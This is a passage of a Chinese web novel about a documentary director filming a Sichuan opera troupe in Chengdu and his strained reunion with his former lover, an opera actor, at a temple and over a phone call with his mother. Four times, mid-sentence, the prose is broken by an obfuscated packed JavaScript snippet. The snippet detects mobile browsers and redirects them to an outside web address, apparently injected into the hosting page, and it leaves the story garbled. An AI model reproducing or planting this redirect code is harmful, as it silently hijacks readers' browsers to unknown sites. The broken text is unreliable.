“影响力?”谢满悦冷笑,手里的戏服袖子一甩,“昨天还说武打戏份太专业观众看不懂要删减,今天又要我们师兄去综艺里翻跟头逗乐子?” 她突然转向陈声和,声音里带着委屈:“陈导,这到底是纪录片还是马戏团?” 所有人的目光都聚集到陈声和身上。 他站在门框投下的阴影里,喉结动了动,最终只是平静地说:“拍摄计划以演员的意愿为准。” 李霄川突然嗤笑一声,把最后一根发簪重重插回木匣,金属撞击木头的声响在死寂的化妆间里炸开,惊得刘总肥硕的身子一颤。 他甩开最后一条发带站起身,青衫广袖带起一阵风,袖口金线在日光灯下晃得人睁不开眼:“谢了,陈导。” 几个字咬被他得极重,像含着块冰,又像在嚼碎什么。 化妆师阿雯正给张图补妆,棉签在眉峰处顿住:“李老师上次哭装,还是断桥吧?这段时间为了纪录片,每天也熬到三四点。” “没得办法噻。”张图仰着脸任她描画,“现在是我们求着人家宣传,全团几十号人要吃饭。” 化妆刷扫过眼睑时他眨眨眼,“有钱的就是大爷咯。” 陈声和弯腰去捡地上的场记板,余光正好瞥见镜子里李霄川在卸许仙的眉形。 就这一眼,他忽然想起那年校庆。 当时李霄川扮许仙,他负责追光。彩排到断桥相会那场,礼堂突然停电,整个舞台陷入黑暗。 就在追光灯熄灭的瞬间,他听见戏服窸窸窣窣的声响越来越近。 黑暗中有人攥住他的手腕,带着油彩味的呼吸压过来,他尝到对方唇上胭脂的甜腥味,还有枇杷糖味道。 李霄川每次唱哭戏前都要含一颗。 “师兄你别理他们!”谢满悦还在不依不饶,“上次有个采访让你卖腐你都……” “满满!”李霄川突然厉声喝止,发髻上的珠串哗啦作响。 空气凝滞得能听见粉底刷扫过定妆粉的簌簌声。 陈声和垂在身侧的手指微微蜷缩,指甲陷进掌心。 他看见李霄川脖颈上暴起的青筋,看见他戏服下摆沾着的红油彩,像一道久久未愈的伤,在月白缎子上分外明显。 “综艺的事改天再谈。”陈声和转身时朝投资方代表客气地点了点头,“这部纪录片是西南地区的重点项目,李老师作为主演,在拍摄期间必须遵守规定。” “没有我的允许,这里所有的演员,都不能私自接任何综艺。”陈声和那双下垂眼直视着刘总,“这是总台定的规矩,还请您理解。” 刘总脸上的笑容一下子僵住了,嘴角抽了抽,想说什么又咽了回去。 最终他到底没敢直接跟陈声和硬杠。 别瞧这广东导演才26岁,年纪轻轻的,可能在这个岁数进总台,还手握“非遗”这种有艺术话语权的项目。 背后没点真本事,那也得有点硬关系。 陈声和很少在片场把话说得这么直白。他平时脾气其实挺温和的,就是骨子里倔得很。 这突如其来的强硬,让一旁的川剧院演员们都怔住了。 可片场就是导演的地盘,话既然撂下了,字字都带着分量,没人敢不当真。 在这里,李霄川是他的演员,艺术是他的底线。谁都不能从他手里越这个界,更别想眼睁睁看着非遗传承被当成生意轻慢地讨价还价。 …… 陈声和推开消防通道的铁门,锈蚀的合页发出疲惫的呻吟。 他摸出戒烟以来的第一支烟,打火机连按了好几次才点燃。滤嘴很快沾上了掌心渗出的冷汗,带着咸涩的味道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005869|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 楼下传来谢满悦带着哭腔的控诉:“他们懂什么川剧!那个陈导整天板着张脸,凭什么让师兄受这种委屈?” “你消停点行不行?”伍云舒一把拽住谢满悦的胳膊,把人拖到消防通道拐角。她指间夹着的烟灰簌簌落下,几点火星溅在褪了色的戏鞋上。 “你以为阿川不想硬气?”伍云舒压低声音,烟嗓里带着疲惫,“团里现在有几个是真想传承的?上周小刘辞职去搞直播,前天老邓也说要回老家带徒弟……” 她猛吸一口烟,抬头警惕地看了眼楼梯上方,声音压得更低了:“阿川已经够难了,你非要往他伤口上撒盐?” 谢满悦抽了抽鼻子,眼泪在眼眶里打转:“我就是……就是怕他们真答应拍那个什么破综艺。我知道团里现在基本就靠师兄的演出进账。可他身上那些伤……” 她哽咽了一下:“为了生存,我知道得低头,可有些东西,一旦认了,就没了初心。” 伍云舒长长地叹了口气,弹了弹烟灰:“你啊,别老跟陈导那边的人较劲。镜头在人家手里攥着呢,最后剪出来你是角儿还是背景板,心里没数吗?” 她瞥了谢满悦一眼,语气沉了沉:“刚才你也看见了,连刘总那种人都没敢跟陈声和硬杠。以后说话过过脑子,刚才现场百来号人,要不是阿川及时把话截住,你差点就把天捅个窟窿!” 她指的是谢满悦刚才一时嘴快,差点把当年有人让李霄川和另一个男演员“卖腐”的事抖落出来。 那事儿在剧院是绝对拒绝的。 当时李霄川坚决不配合,结果导演一怒之下把他所有正面镜头全剪了,只剩几个模糊的背影。 伍云舒说完,又抬头往楼上扫了一眼,确认没人听见,这才把烟头按灭在墙上。 斑驳的墙皮上,又多了一道焦黑的印子。 阿川……阿川…… 陈声和低声重复着这两个字,像在舌尖尝着什么滋味。 脚步声渐渐远去,他靠在墙上,慢慢吐出烟圈,安全出口那点幽绿的亮光在烟雾里变得模糊不清。 等到脚步声彻底消失,他顺势在楼梯上坐下,摸出手机。指纹解锁时,手指蹭到屏幕上还没干的汗。 点开加密相册,里面静静躺着今早拍的花絮视频。 李霄川接过老张那碗“醒神茶”,一口灌下去后,整张脸皱成一团,喉结狠狠滚动了一下才把那口苦水咽干净,然后飞快地恢复成平时那副云淡风轻的样子,假装一点都不难喝。 陈声和扯了扯嘴角。 谁都没错。这年头,想把老祖宗的东西传下去,得先活下来;想活下来,就得先把肚皮填饱。 说到底,艺术这玩意儿,顶烧钱的,也顶耗时间。 可吃饭……是比什么都硬的硬道理。 门外排练厅隐约飘来《白蛇传》的唱腔,断桥相遇那段,隔着防火门听得不太真切:“谁曾想楼台一别……竟成永诀……” 他抬手把烟摁灭在便携烟灰缸里,那点火星倏地熄了,仿佛被按进水里最后的一声挣扎。 29.那炷香,敬的是谁的神? 十月的成都褪去了夏日的燥热,细雨如丝滴落在地上,晕开一片片深色的水痕。将整座城市笼罩在一层朦胧的水雾中。 行道两侧的树叶子开始泛黄了,在雨水的浸润下显得鲜亮无比。 陈声和团队来成都拍摄已经整整一个月了,纪录片的前期拍摄已经完成了大半。素材带整齐地码放在剪辑台上,每一盒都贴着详细的标签。 桌上的台历被翻到了十月这一页,几个重要的拍摄日期被红笔圈了出来。最下方还记着一行小字:川剧院采访/10.15。 三天后的安排。 他和李霄川的接触仅限于工作场合。每次拍摄结束后,对方都会礼貌地道别,然后消失在后台的阴影里。 就像两条平行线,明明近在咫尺,却始终保持着恰到好处的距离。 清晨的文殊院笼罩在一层薄雾里,青灰色的石阶上还弥漫着潮气,铜铃在檐角轻轻摇晃,发出细碎的声响,仿佛是有人在低声诵经。 陈声和蹲在藏经楼前的石阶上,调整着三脚架的高度,手指在相机屏幕上轻划,将曝光值调低一档。 晨光太亮,会吃掉阴影里的细节,灰尘、香灰、经年累月的磨损,这些才是他想拍的 “再暗一点,”他对灯光师说,“要能看见灰尘的光轨。” 林瑶蹲在旁边,小声嘀咕:“陈导,要不我们换个方向拍?” 陈声和没应声,他的目光透过取景框,落在远处那株古老的银杏树上。树很老了,枝干虬结,晨光穿过树叶的小缝隙,斑驳地洒在地面,仿佛丢了一地的碎银子。 他轻轻按下快门,连续拍摄了几张,却总觉得少了点什么。 少了点活气。 年轻导演抿了抿唇,一手放在手腕上的那道浅疤。疤早就褪成了白色,摸上去微微凸起,像一条小小的山脊。 “陈导,这个角度不行啊,换个角度试试?”老张也问。 陈声和摇摇头,站起身,活动了一下因为蹲久发麻的膝盖。骨节发出轻微的咔响,他皱了皱眉,环顾四周。 藏经楼斑驳的木门半开着,露出里面昏暗的光线;香炉里袅袅升起的青烟被晨风吹散;角落里几个早起的香客正低声交谈,声音压得很低,像是怕惊扰了神明。 最终,他的视线落在了殿前的一张木桌上,那里摆着几本功德簿。桌腿有些歪斜,垫了张折起来的纸,大概是香客随手塞的。 “再试试。” 他走过去,随手拿起一本翻着看,这些是拍摄前提前商量好的,后期会做打码处理。 功德簿的纸页已经破旧了,边缘卷曲,像是被无数人抚摸过。 上面密密麻麻写满了香客的祈愿,大多是阖家平安、事业顺利之类的寻常愿望,字迹各异,有的工整,有的潦草,还有小孩子歪歪扭扭的笔画。 陈声和漫不经心地翻着,直到某一页,他的手指猛地顿住。 2020.9.28:SH平安,注意防护。 他的眉心紧皱起来,呼吸微微一滞。 那字迹很熟悉,锋利的笔锋,最后一笔几乎划破纸张,像是写字的人用了极大的力气。 陈声和的手指轻轻擦过那行字,纸页的触感粗糙,墨迹已经有些褪色,又好像被谁的手指反复摩挲过。 他继续翻到下一页。 2021.9.28:SH平安,勿吃冰。 冰字旁边有涂改的痕迹,原本似乎写的是辣,但被划掉了,改成了冰。 陈声和的心脏猛地跳了一下,他可能是有点娇气,大学时吃辣吃到急性胃炎,后来医生叮嘱他少吃冰饮。 继续往后…… 2022.9.28:SH平安,少熬夜。 2023.9.28:SH平安,纪录片顺利。 2024.9.28:SH平安,纪录片获奖。 是他去年拿到的那个奖项。 陈声和的手指有些控制不住地微微发抖。他合上功德簿,深吸了一口气,试图让自己冷静下来…… 但胸腔里的跳动却越来越快,像是有什么东西在狠狠撞击他的肋骨。殿外的铜铃又响了,这次声音很急,像是催促,又像是警告。 “施主,那是还愿簿。”一道带着川音的温和声音从身后传来。 陈声和转身时带起衣角,蹭到了供桌上的香灰。一位约莫二十出头的小沙弥正双手合十,僧袍袖口沾着些香火熏出的淡黄痕迹。 “还愿簿?”他用拇指摩挲着钱包边缘已经起皮的皮革。 “是嘞,”小沙弥向前半步,指节在薄薄的纸页上轻叩,“这本记录的是香客还愿的内容,大多是先前许的愿望实现了,都要回来记一笔。” 殿外传来游客导游旗杆撞在香炉上的闷响。陈声和等那阵嘈杂过去才开口:“写这个的人……常来吗?” 小沙弥捻着腕间褪色的木珠串:“每年这天必到,比庙里晨钟还准。” “这天?” “9月28日。”小沙弥笑了笑,“师父说这位施主捐的灯油钱,都够重塑半边菩萨金身了。” 说完自觉失言,忙低头念了句佛号。 陈声和喉咙发紧。他摸出钱包,从夹层里抽出一张钞票,想要捐进功德箱。可就在他打开钱包的瞬间,一张褪色的票根从里面滑了出来,轻飘飘地落在地上。 他弯腰捡起,是一张川剧表演的票根。 2020.9.27,那是他决定分手的前一天,也是李霄川以川剧演员身份正式登台的首场演出。 他记得那天自己买了票,最终却没能走进剧场。 殿外的风卷着几片金黄的银杏叶飘进来,其中一片轻轻擦过他的脚边。远处的钟声恰好在此时悠悠响起,回荡在晨光里,仿佛从很远很远的地方传来。 林瑶的呼喊从放生池方向传来:“陈导!副导问要不要换个机位?” 陈声和缓缓将票根塞回钱包,低声应道:“……好。” 他最后看了一眼那本功德簿,轻轻放回原处。 SH即声和……五年了,他还在写。 …… 拍摄藏经楼的大雄宝殿时,晨雾已经散了,只在青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005870|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石台阶上还残留着一些湿痕,光线也正正好。 陈声和拧紧三脚架云台的旋钮,金属部件发出细微的咬合声。林瑶蹲在一旁收拾器材,动作麻利地将拍满的存储卡塞进防水盒。 盒盖上贴着的标签引起他片刻恍惚……CH-SC-0928,这个从大学沿用至今的编号系统里,藏着只有那个人知道的密码。 “陈导,要不要补拍个香炉的空镜?”林瑶的声音将他拉回现实。 顺着她手指的方向,几位香客正将燃尽的香梗投入青铜香炉,灰白的烟絮缠绕着升向金黄的银杏树冠。 他点了点头。 工作人员调整三脚架,林瑶忽然“咦”了一声。 陈声和没抬头,视线仍在监视器上检查画面:“怎么了?” “那个人……是不是李老师?” 陈声和的手指顿在调焦环上,镜头里,一道修长身影踏入画面。 李霄川穿着剧团的黑色练功服,袖口挽到手肘,露出的手臂线条紧实,隐约可见几道旧伤痕。 他手里捏着三根线香,面前的香头明灭的红点在青烟中。 陈声和觉得喉咙发痛。 李霄川没有看到他。他站在香炉前,微微低头,眉眼在烟雾里显得模糊。香炉旁的老僧递上火折子,他接过,手指相触时礼貌地欠了欠身。 还是那样,对谁都温和,对谁都疏离。 陈声和不自觉地往后退了一些,整个人几乎要陷进摄像机投下的阴影里,好像这样就不会被发现了。 林瑶凑近他耳边,气声问:“陈导,拍不拍?” 他喉结动了动,声音有点发紧:“……拍。” 老张已经亲自扛起了机器,边调焦边喃喃自语:“这画面太灵了……黑色练功服衬着香炉,果然最打动人心的镜头,都是不经意间得来的。” 监视器屏幕里,李霄川正将线香凑近火苗。香头忽地亮起,一缕青烟袅袅升起。他合掌的姿势标准得像刻在骨子里,重复了无数次。 陈声和听见自己干巴巴的声音:“轻点儿……别打扰他。” 推近的镜头里,李霄川的嘴唇轻轻开合,然后,陈声和听到了……粤语? “一炷敬天地……” 生硬的粤语发音,带着明显的川音腔调,却一字一顿认真得近乎执拗。 这是潮汕人拜神的起式,是某个深夜他在出租屋里一字一句教给李霄川的。那时李霄川总把安康说成昂康,惹得他笑倒在对方肩上。 一炷敬天地,二炷谢神明,三炷祈安康,烟火升腾愿皆圆…… 香炉里青烟袅袅升起,李霄川突然转头,目光穿过缭绕的烟雾,直直撞进镜头后的陈声和眼里。 感觉空气突然就变得黏糊糊了,让人觉得呼吸一口都是压力。 李霄川指间的香微微一顿,香灰簌簌落进铜炉里,在积灰上烫出三个细小凹坑。他不动声色地收拢手指。 另一头,陈声和整个人僵在原地。摄像机还举在胸前,连镜头盖都忘了摘。这哪是在拍摄,分明是个习惯性的防御姿势。 30.关于前任突然迷信这件事 “……陈导。”李霄川先开口,声音像被香火熏过一样发干,“拍纪录片还兼职狗仔?” 陈声和放下机器,喉结滚动了几下,才开口:“公共场合,不算偷拍。” “……?” 李霄川扯了扯嘴角,没接话。他抬手将香插入香炉,动作又快又狠,三炷香笔直地立在香灰里,像三柄小小的剑。 可就在他转身要走时,陈声和忽然问:“你什么时候学的粤语?” 陈声和闷闷的声音让李霄川脚步一顿。他背对着庙堂:“需要学?听多了就会。” “听谁?” “电视上,《外来媳妇本地郎》。” “…………” 撒谎。 陈声和知道他在撒谎。 李霄川的粤语带着明显的潮汕腔尾音,会把“我”说成“瓦”,这种口音不可能从情景喜剧里学来。 “陈大导演现在管天管地,还管别人说什么话?”李霄川鼻腔里逸出一声轻哼,“怎么,没规定四川人不能学粤语吧?” “你明明笑过我阿嬷迷信!”话一出口陈声和自己都愣住了,潮汕方言不受控制地蹦出来,软糯的尾音听着像受了多大委屈。 李霄川慢慢转过身,眼底闪过一抹讥诮,突然换回四川话。 “人都是要变的嘛。”那语速快得像茶馆里的说书人,“就像陈导现在,吃火锅都不消过清水了。” 他在讽刺,讽刺当年那个被辣到流泪还要强撑的陈声和,如今已经能面不改色吃红油火锅。 陈声和被他队的攥紧了拳头,指甲陷进掌心:“拜神也是变的一部分?” “啷个?”李霄川鼻腔里哼出一声川音小腔调,“你们潮汕人垄断了迷信权?还是你们潮汕的神仙不接外地订单?” “………………” “……你根本不信这些。” “那你信吗?”李霄川忽然逼近一步,身上淡淡的冷杉香,还带着点儿庙里的檀香,压得陈声和喘不过气来,“信的话,五年前为撒子连炷香都不敢帮我点?” 又来了…… 又开始翻旧账! 他们吵得最凶那次,李霄川心烦意乱想去庙里烧柱香,其实他自己也知道,不过是图个心理安慰。 陈声和当时就拦着他,因为他清楚,李霄川压根儿不信这些。 “我……”陈声和往香炉边躲了躲。 一阵穿堂风呼地扫过,香炉里的灰被风带得扬起来,几支刚点燃的香火晃得厉害。其中一截烧完的香灰“啪”地折断,随风扑到陈声和虎口上。 “嘶!” 他手腕一抖,还没来得及甩,李霄川已经一步跨过来,紧紧攥住他的手腕:“莫动。” 手指相触的瞬间,陈声和心脏猛地跳了几下。 李霄川的手比五年前更糙了,掌心全是长年练功磨出来的厚茧,可温度还是那样烫,像烙铁似的。他低头轻轻吹掉那点香灰,额前碎发跟着垂下来,扫过微红的皮肤。 “红了。”李霄川眉头拧着。 陈声和想抽回手,却反被握得更紧。他一时没忍住,脱口嘟囔:“很疼……” 尾音软绵绵拖得绵长,像小时候摔了跤找人哄那样,自己都没意识到的撒娇语气。 话一出口,两人都愣住了。 李霄川的睫毛颤了颤。这个语调过于熟悉,陈声和每次用这种声音说话,他都会忍不住把全世界都捧到他面前。 此刻陈声和的眼眶微微泛红,嘴角无意识地下撇,露出那种李霄川最招架不住的表情。 他几乎没等对方再开口就仓促松了手,猛地转过身去,喉结重重滚了一下,把翻涌的情绪全都咽回了喉咙里。 “……笨手笨脚。” 他声音哑得厉害,这句话飘散在香火气里,分不清是在说当年那个非要帮他缝戏服结果扎破手指的陈声和,还是在骂此刻连对视都不敢坚持的自己。 一旁的小沙弥快步走来,递上一盒药膏:“两位施主,涂这个吧。” 陈声和道谢接过,药膏是清凉的薄荷味,涂在烫伤处微微发麻。 小沙弥笑眯眯地合掌:“有缘相遇,不如求支签?” 李霄川还没说话,陈声和摇头:“不用了,我们……” “求。”李霄川垂着眼睫,指节敲击着斑驳的桌沿,语气里带着点狠,“我倒要看看,神佛怎么判这段孽缘。” “……”小沙弥被他发言弄得一愣,赶紧低头引他们往殿侧走。 签台设在偏殿转角处,光线有些暗。那只陈旧的签筒静静搁在案上,边沿处被无数香客的手摸得滑亮滑亮的,几乎能照出人影。 李霄川抱臂倚在廊柱旁,练功服领口微敞,露出锁骨处一道淡疤:“你先。” 陈声和:“…………” 百年银杏叶沙沙作响,像一群凑热闹的小八卦。陈声和僵了好一会才伸手握住签筒,竹签碰撞声里,一支暗褐色的签掉在青砖地上。 小沙弥弯腰拾起,眯着眼辨认。念道:“旧物逢新月,残荷听雨声。” 李霄川忽地笑出声,眼尾那颗泪痣跟着颤动。他一把抓过竹签塞进陈声和掌心,冰凉的竹签贴着对方温热的掌纹。 “你们搞文艺的,不是最擅长解读这种意象?” 陈声和攥紧竹签,他知道李霄川在讽刺什么。 “旧物”是他们。 “新月”是五年后的重逢。 “残荷”是那段腐烂在记忆里的感情。 而“雨声”,是他们分手那天下着的雨。 句句都是刀,每个字都在凌迟着他。 “该你了。”陈声和将签筒推过去,瓷白的腕骨凸起一道嶙峋的弧度。 李霄川却没动,香炉青烟袅袅上升间,他转身就走:“我从不求签。” 陈声和愣住:“????” “……为什么?” 地上的影子顿了顿。 “因为,”李霄川侧过头,殿外天光将他半边脸照得透明,另半边却陷在阴影里,“如果签文说不可能,我怕自己真会放火烧了这庙。” 檀香突然变得刺鼻。等他回过神,只看见李霄川大步离去的背影,黑色衣袂翻飞如折翼的鹤,转眼就消失在放生池边的银杏道里。 小沙弥轻声问:“施主,要解签吗?” 陈声和摇头,目光仍盯着那道远去的背影:“不用了。” 他知道这支签的意思:旧伤碰不得,一碰就疼。 ……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005871|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 空镜一拍完,剧组就转场到了文殊院的茶室,要拍点游客互动和随机采访。 这会儿天光正好,软软地从雕花木窗斜斜地照进来。院子里的银杏叶时不时飘下几片,优雅转个身,轻轻落在地上。 茶客们三三两两坐着,低语声和茶壶咕嘟咕嘟的冒泡声混在一块儿,反倒把角落衬得更静了。 陈声和坐在角落的藤椅上,手里还捏着刚求来的签文:旧物逢新月,残荷听雨声。 签文被他反复看了无数遍,纸签边缘已经起了毛边,折痕深深浅浅,就像反复咀嚼的心事。 茶是普通的茉莉花茶,茶汤上飘着几朵干枯的茉莉,他机械地啜了一口,滚烫的茶水烫到舌尖才猛地回神。 窗外,李霄川正背对着茶室站在香炉前和寺庙的人说话,黑色练功服的衣摆被秋风掀起一角,单薄得快要融进香炉里升起的青烟中。 突然响起的手机铃声一下就把茶室那份安静给打破了。潮剧的唱段又尖又亮,直往耳朵里钻,“正月点灯红,二月人游安……” 这是陈声和专门给母亲设的铃声,用的还是老家戏班最老派的那种唱腔。 他手一抖,茶水不小心泼到了签文上。 “旧物”那两个字,一下子就被水晕开了,墨迹顺着纸的纹路慢慢化开,像眼泪一样往下淌。 陈声和盯着那团越来越糊的字,喉咙动了动,把手机按成震动。 他条件反射抬头瞥了眼外面。 香炉旁边,李霄川的背影明显顿了一下。哪怕离着大半个院子,陈声和也能看出来他肩膀绷得紧紧的,像是有人突然扯了一下拴在他身上的线。 拍摄团队还在外面按部就班地拍着外景,根本没人注意他接不接这个电话。可那种让人喘不过气的紧绷感,又一次缠上了他的心口。 陈声和深吸一口气,按下接听键:“阿妈。” 他的手机壳也是潮汕那种金漆木雕的纹样,不过边角早就被他磨得发白了。每次老妈来电话,他总忍不住用指甲去抠壳子上那些凸起来的雕花纹路。 电话那头传来母亲带着潮汕口音的软糯声音:“阿和,在忙什么?” 永远是这样明知故问的开场白。 “在文殊院拍片子。”他尽量让声音平稳,目光却不由自主地追随着窗外那个身影。 李霄川已经转过身,正和一位老和尚说着什么,脸上挂着得体的微笑,手里却把那个香囊捏得变了形。 “哦,拍戏啊。”母亲轻笑一声,“上周给你说过,黄伯伯的女儿嘉雯到成都去,就这两天,到时候你去接机带她逛逛。” 陈声和的胃部毫无征兆的绞痛起来。 五年了,每次通话都是同样的套路:先问工作,再提相亲,仿佛他的人生只是一张待填写的表格。 “我没空,”他声音发紧,“拍摄排期很满。” 母亲却继续说:“没空也抽点时间出来。嘉雯长得漂亮,家庭也合适,和你般配。她阿爸说……” “阿妈!”他突然抬高声音,茶室里几个游客转头看他。窗外的李霄川也望了过来,眼神像隔着一层冰。 电话那头安静了一瞬,语气已经变了语调:“你是不是又和那个唱戏的在一起了?” 31.导演,你越界了 咔吱…… 陈声和的指甲在手机壳上一下下刮着,刮得他心里直发毛。他看见李霄川正往茶室这边走,练功服的袖口上还沾着香灰,走一步就往下掉一点。 “……没有,”他声音压得低低的,“妈,我这儿正忙工作呢。” “工作?”电话那头的声音一下子拔高了,“当年你说去成都读书,结果呢?要不是你爸撞见你们俩……” “妈!”他猛地站起来,木椅子在石板上“刺啦”一声,听得人牙酸。 茶室里顿时安静下来,这下所有人的目光都聚了过来。 李霄川已经走到门口了,手里盘着那串深褐色的佛珠。 陈声和认得那串珠子,老住持刚才说过,这是文殊院最贵的沉香木念珠,得捐三千功德才请得到。说是要僧人天天诵经,一颗一颗亲手磨出来的。 电话里,母亲的声音陡然拔高:“你表弟都要生二胎了,堂哥们全都成家立业,你连女朋友都没有,你让街坊邻居怎么看我!” 尾音带着方言特别的颤音,可那声音像一把锯子在耳膜上反复磨蹭。 陈声和闭上眼睛,喉咙发紧。窗外的冷风正好吹进来,他后颈起了一层鸡皮疙瘩。 “陈导!”李霄川这一嗓子炸得整个茶室都在响,他那口普通话里故意夹着四川味儿,“亲热戏你真要删啊?那段可是重头戏!” 声音大得简直像怕电话那头听不见。 电话里突然没声了。 陈声和猛地抬头,正对上李霄川的眼睛,那里面盛着的恶意明亮得像刀光,又像是戏台上反派亮相时的那记锣响。 他一下子全明白了。李霄川知道他在接谁的电话,也知道母亲在逼问什么,就挑了最狠的方式来报复。 就像当年分手时,他说的那句“你连为我反抗一次的勇气都没有!” “什么亲热戏?”妈妈的声音开始发抖,背景里传来茶杯碰撞的声响。 陈声和赶紧捂住手机转开身子:“不是,他瞎说的……” 李霄川已经走到桌前,故意把佛珠往桌上一扔。沉香木砸在茶杯旁边,溅起的水花落在陈声和另一部手机屏幕上,星星点点的。 “陈导,”他俯下身,热气都喷到陈声和耳朵上了,用磕磕巴巴却足够听清的潮汕话说,“你妈是不是忘了,你还拍过同性题材,拿过奖呢?” 每个字都像是从牙缝里挤出来的。 电话那头传来“啪嚓”一声,是茶杯摔了。 “陈声和!你是不是要气死我才甘心!”妈妈的尖叫声刺得他耳朵疼。 电话挂断后,茶室里静得可怕。游客都走光了,只剩下桌上的茶碗,凉透了摆在那儿。 窗外的银杏叶子一片片落下来,那声音突然变得特别清楚。 李霄川也走了,桌上就剩下那串佛珠和半杯冷茶。陈声和发现,茶杯边上有个淡淡的口红印,一看就是女人留下的。 他盯着那个印子,眼睛都看酸了。 直到工作人员来收杯子,他才反应过来,那是川剧专用的玫红色胭脂,李霄川上台化妆用的就是这个颜色。 他颤抖着拿起佛珠,下面压着两张功德小票:沉香木念珠×1,功德金5000+200元。 日期显示是三个月前购买的。 陈声和抬头望去,李霄川果然就站在窗外的银杏树下点烟。打火机的火光在他指间一闪而过,照亮了他绷紧的下颌线。 陈声和忽然想起大学时第一次去李霄川宿舍,看见烟盒上用铅笔工工整整写着一行小字:他讨厌烟味,别在他面前抽。 可现在,李霄川当着他的面,深深吸了一口烟。白雾袅袅升起,模糊了那张曾经为他勾过无数次脸谱的容颜。 陈声和永远不会知道,那串就给他的佛珠,每一颗珠子背面刻着的潮汕吉祥纹样,是李霄川跑遍成都所有寺庙,好不容易才找到老师傅定制的。 这串佛珠原本打算在他获得纪录片大奖时送出,如今却成了伤人的利器。 …… 陈声和都不知道自己是怎么回到川剧院的。这会儿他站在后台那条又长又暗的走廊上,手腕上那串珠子跟手心里捏着的签文,都快被他攥出汗了。 走廊那头窗户没关死,湿乎乎的风夹着雨前的凉气,一阵阵往屋里灌。 远远听见有人在吊嗓子,咿咿呀呀的戏腔混着闷雷,在这空荡荡的走廊里来回响。 陈声和低头看了看表,下午五点一刻,距离文殊院那场荒诞的对峙,才过去不到四个小时。 他真不该追到这儿来的。 签文上的字早被汗晕糊了。小沙弥递过来时,李霄川的表情有一瞬间的松动,但转瞬即逝。 陈声和把那张薄纸又捏紧了些,纸边在他手心硌出一道印子。 走廊里的灯一闪一闪的,那老电路还不停地嗡嗡响,塞着劲儿似的。 他深吸一口气,空气里一股子油彩和樟脑丸的味儿。抬脚往化妆间走,老木头地板吱呀吱呀的,每一声,都像踩在旧日子的裂缝上。 以前他也这样站在李霄川宿舍门外,手里捏着回家的机票,电话那头妈妈带着哭腔:“阿和,你爸都进医院了……你是不是非要逼死这个家?” 化妆间的门虚掩着,一道暖黄的光从门缝里漏出来,斜斜地映在地上。陈声和抬手想敲门,可手指快碰到门的时候,却突然停住了。 里头传来衣服摩擦的细响,接着是玻璃瓶轻轻搁在桌上的声音。 陈声和侧了侧身,从门缝里瞧见李霄川的背影。 他坐在化妆镜前,黑色练功服领口汗湿了一小块,正低头往手心里倒卸妆油。镜前灯的光打在他身上,像追光似的,把他跟这个昏沉沉的世界隔开了。 陈声和本能反应屏住了呼吸。 化妆台上散着卸妆棉、酒精棉片,还有半杯凉透了的苦荞茶。杯底的荞麦粒沉在茶汤里,不肯屈服。 上大学那会儿李霄川就爱这么喝,泡久了非要把软掉的荞麦粒嚼完。 陈声和以前总笑他像只啃松子的松鼠,李霄川就故意把荞麦粒吐在他刚剪好的素材带上,气得他满校园追着人跑。 那些被太阳晒得发烫的下午,现在想起来,简直像上辈子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005872|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事了。 镜子里,李霄川的动作突然停了一下,卸妆棉悬在半空,一滴夹杂着油彩的卸妆油顺着他的手指滑下来,在台面上溅开一小块深色的印子。 “陈导走错了吧?”他没回头,声音透过镜子传来,带着卸妆油黏腻,尾音却微微上扬,是刻意为之的轻佻,“拍摄区在舞台那边,这里是演员休息区。” 陈声和的喉结动了动。 窗外的雷声更近了,闷雷滚过时震得化妆镜微微颤动,空气里弥漫着大雨将至的潮湿,混合着卸妆油的茉莉香和油彩的刺鼻气味。 他盯着李霄川镜中的倒影,发现对方左边额角有一道新鲜的疤痕,约莫两厘米长,像是最近才结痂的伤口。 那道疤就横在太阳穴边上,藏在发际线里,要不是卸了妆,根本看不出来。 “为什么?”他轻声问,声音比想象中更哑。 李霄川转过头,半边脸还带着舞台妆,武生的剑眉斜飞入鬓,红膛脸衬得肤色越发苍白。 